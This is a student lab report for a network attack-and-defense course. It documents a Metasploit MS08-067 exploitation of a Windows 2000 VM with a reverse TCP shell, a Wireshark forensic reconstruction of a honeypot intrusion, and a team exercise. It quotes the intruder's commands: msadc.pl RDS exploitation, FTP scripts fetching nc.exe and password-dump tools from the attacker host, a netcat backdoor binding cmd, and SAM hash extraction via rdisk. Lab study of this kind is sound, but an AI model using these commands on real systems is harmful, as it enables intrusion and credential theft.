20252906 2025-2026-2 《网络攻防实践》第6周作业
1.实验内容
(1)动手实践Metasploit windows attacker
任务:使用metasploit软件进行windows远程渗透统计实验
具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权
(2)取证分析实践:解码一次成功的NT系统破解攻击。
来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。
攻击者使用了什么破解工具进行攻击
攻击者如何使用这个破解工具进入并控制了系统
攻击者获得系统访问权限后做了什么
我们如何防止这样的攻击
你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么
(3)团队对抗实践:windows系统远程渗透攻击和分析。
攻方使用metasploit选择漏洞进行攻击,获得控制权。(要求写出攻击方的同学信息、使用漏洞、相关IP地址等)
防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。
2.实验过程
2.1动手实践Metasploit windows attacker
| 名称 | IP地址 | MAC地址 |
|---|---|---|
| Kali | 192.168.200.5 | 00:0C:29:A2:56:7E |
| Win2kServer | 192.168.200.7 | 00:0C:29:3A:F9:27 |
启动Kali和Win2kServer虚拟机,测试它们之间是否可以ping通


确保能 ping 通后,在 Kali 虚拟机终端里输入 msfconsole,打开 Metasploit 框架。

输入search ms08_067查看MS08-067漏洞的信息

输入指令use exploit/windows/smb/ms08_067_netapi加载MS08-067漏洞的核心利用模块

输入指令show payloads列出该漏洞可兼容的攻击载荷

输入 set payload generic/shell_reverse_tcp,将当前攻击载荷配置为通用反向 TCP Shell。

配置攻击载荷的网络参数:
set LHOST 192.168.200.5 —— 指定攻击机(Kali)的IP地址,用于接收反弹连接。
set RHOST 192.168.200.7 —— 指定目标主机(Win2kServer)的IP地址,即被攻击对象。

输入指令exploit进行攻击

攻击成功后,会获得靶机的命令行 Shell 交互界面。输入 ipconfig -all 命令,即可查看目标主机的完整网络适配器信息。

2.2 取证分析实践:解码一次成功的NT系统破解攻击
2.2.1 攻击者使用了什么破解工具进行攻击
下载学习通上提供的资料,并复制到Kali虚拟机中

在wireshark中打开该文件

输入ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106进行筛选

观察117号数据,发现出现字符%C0%AF,右击追踪TCP流

网上查了一下,发现这其实是个典型的 Windows IIS 目录穿越攻击,就是利用超长 UTF-8 编码来绕过路径过滤,想读取系统的 boot.ini 文件。

随后追踪149号数据,从请求中的分隔符!ADM!ROX!YOUR!WORLD!、User-Agent: ACTIVEDATA、攻击路径 /msadc/msadcs.dll/AdvancedDataFactory.Query 以及命令执行格式,都是msadc.pl工具的典型固定特征,因此可判断攻击者使用了该工具

2.2.2 攻击者如何使用这个破解工具进入并控制了系统
追踪182号数据,发现指令为cmd /c echo user johna2k > ftpcom

追踪201号数据,发现指令为cmd /c echo hacker2000 > ftpcom

追踪220号数据,发现指令为cmd /c echo get samdump.dll > ftpcom

追踪239号数据,发现指令为cmd /c echo get pdump.exe > ftpcom

追踪258号数据,发现指令为cmd /c echo get nc.exe > ftpcom

追踪277号数据,发现指令为cmd /c echo quit >> ftpcom

追踪296号数据,发现指令为cmd /c ftp -s:ftpcom -n www.nether.net

根据前面的操作来看,攻击者的流程是这样的:先用 msadc.pl 执行系统命令,然后用 echo 命令批量写入一个叫 ftpcom 的 FTP 下载脚本,再通过 ftp -s 自动下载 samdump.dll、pdump.exe、nc.exe 这些工具。接着用这些工具导出密码哈希、提权、开后门远程控制,最后彻底拿下系统。
输入 ftp 过滤,在 1106 号数据包里发现攻击者已经成功登录了 FTP 服务器。

向前查找,追踪1000号数据,发现指令为copy C:\winnt\system32\cmd.exe cmd1.exe

追踪1013号数据,发现指令为cmd1.exe /c open 213.116.251.162 >ftpcom

追踪1026号数据,发现指令为cmd1.exe /c echo johna2k >>ftpcom

追踪1038号数据,发现指令为cmd1.exe /c echo haxedj00 >>ftpcom

追踪1050号数据,发现指令为cmd1.exe /c echo get nc.exe >>ftpcom

追踪1063号数据,发现指令为cmd1.exe /c echo get pdump.exe >>ftpcom

追踪1076号数据,发现指令为cmd1.exe /c echo get samdump.dll >>ftpcom

追踪1088号数据,发现指令为cmd1.exe /c echo quit >>ftpcom

攻击者先复制一份cmd.exe避免被拦截,再用命令自动生成FTP脚本ftpcom,通过FTP下载nc.exe、pdump.exe、samdump.dll,用于反弹后门、抓取系统密码哈希,实现远程控制。
再向后观察,追踪1224号数据,发现指令为cmd1.exe /c nc -l -p 6969 -e cmd1.exe
这条指令开启反向后门,直接把系统控制权交给攻击者,至此攻击者已经完整拿到系统控制权、获得最高访问权限了

2.2.3 攻击者获得系统访问权限后做了什么
从1275号数据可以看到,攻击者先执行了net session,想看看当前都有哪些会话、自己到底有多大权限,结果这条命令失败了。紧接着他就用了net users,把系统里所有用户名都列出来了——很明显是在为后面提权和偷密码铺路。

接着留下挑衅说明文本,将留言写入文件README.NOW.Hax0r,内容大意是:
[我知道这是一台实验服务器,但记得补上漏洞!😃]

然后查看服务器工作组、查看本地用户组和查询域管理员账号,但是都失败了

随后还使用pdump读lsass进程、抓密码哈希,但还是失败了

接着输入del samdump、del pdump等等,删除之前下载的密码抓取工具,清理入侵痕迹

最后执行rdisk -s,这是Windows NT/2000自带的应急磁盘工具,-s参数会备份SAM数据库(账号密码哈希)到 % systemroot%\repair\sam._。攻击者想绕过权限限制,间接获取密码哈希,并且把这个文件拷贝到har.txt打印。

2.2.4 我们如何防止这样的攻击
-
及时给系统打补丁
-
删除危险组件
-
不给Web服务过高权限,禁止随意运行cmd
-
关闭不用的端口和服务
-
安装防火墙,拦截恶意扫描和命令执行
2.2.5 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么
攻击者发现了他的目标是一台蜜罐主机,因为从4238号数据中可以看到,攻击者留下了一句
echo best honeypot i've seen till now :)
这是我至今见过最棒的蜜罐 😃

2.3 团队对抗实践:windows系统远程渗透攻击和分析
首先需要将攻击方和防御方的四台机器处于同一网段中,打开虚拟机设置,选择网络适配器,将网络连接设置为桥接模式,勾选复制物理网络连接状态(两人的主机需要连接同一个热点)

两人的四台虚拟机都设置完成后,详细的信息如下:
20252906岳文千
攻击方:Kali(192.168.14.100)
防守方:Win2kServer(192.168.14.250)


20252902鹿津愉
攻击方:Kali(192.168.14.114)
防守方:Win2kServer(192.168.14.116)


首先我作为攻击方,使用Kali作为攻击机对防守方的Win2kServer虚拟机进行攻击
进行联通测试

ping通之后,在Kali虚拟机中输入msfconsole,启动Metasploit框架控制台

输入指令use exploit/windows/smb/ms08_067_netapi加载MS08-067漏洞的核心利用模块

输入指令show payloads列出该漏洞可兼容的攻击载荷

输入指令set payload generic/shell_reverse_tcp 设置反向TCP Shell载荷

输入指令
set LHOST 192.168.43.240设置Kali攻击机IP
set RHOST 192.168.43.18设置Win2kServer被攻击机IP

输入指令show options查看设置的信息

输入指令exploit进行攻击

攻击后可以发现已经进入了靶机的命令行,输入指令ipconfig -all查看靶机信息

输入指令mkdir ywq在对方主机中创建文件夹
输入指令cd ywq进入该文件夹


输入指令echo Your computer has been hacked by me——20252906 Yue Wenqian :) >>Readme.txt在对方主机中创建一个Readme.txt文件并留言

可以在对方主机中查看到创建的文件夹以及对应的留言

3.学习中遇到的问题及解决
问题:修改Win2kServer的网络模式后,IP地址没变
问题描述:
为了让Kali和Win2kServer能够互相通信,我把Win2kServer的网络适配器从VMnet1(仅主机模式)改到了Kali所在的VMnet8(NAT模式)。但是改完之后发现一个问题:Win2kServer的IP地址还是原来的192.168.200.131,并没有变成VMnet8网段应该分配的地址。这就导致它和Kali(192.168.200.5)仍然不在同一个网段,根本ping不通。
解决方法:
在Win2kServer桌面上找到“网上邻居”,右键点击“属性”,进入“网络和拨号连接”。
找到“本地连接”,右键点击“属性”。
在弹出的窗口里,下拉找到“Internet协议(TCP/IP)”,双击打开。
发现原来用的是固定IP地址(手动填写的192.168.200.131)。这就是问题根源——换了网络模式后,系统还在用之前手动配的IP,没有自动去获取新网段的地址。
把它改成“自动获得IP地址”,然后点确定。
设置完成后,再用ipconfig查看,发现IP地址已经从192.168.200.131变成了192.168.200.6(VMnet8网段分配的地址)。
这时候再去ping Kali的192.168.200.5,通了。
经验总结:
虚拟机换了网络模式(比如从VMnet1换到VMnet8)之后,如果之前设置的是静态IP,系统不会自动切换网段。这时候要么改成DHCP自动获取,要么手动改成新网段的静态IP。不然就会出现“改了模式但IP没变”的坑,导致虚拟机之间通信失败。
4.学习感想和体会
一开始光是配网络就折腾了半天,Kali和Win2kServer死活ping不通,后来发现是网络模式没弄对。不过解决之后再回头看,其实就是虚拟机的基本配置没搞明白,也算给自己补了一课。后面的攻击流程倒是比较顺利,跟着指令一步步来,看着Shell弹回来的那一刻还是挺有成就感的。尤其是用Wireshark抓到那些攻击数据包的时候,感觉原来这些漏洞真的是可以复现的,不是书上随便写写的东西。

浙公网安备 33010602011771号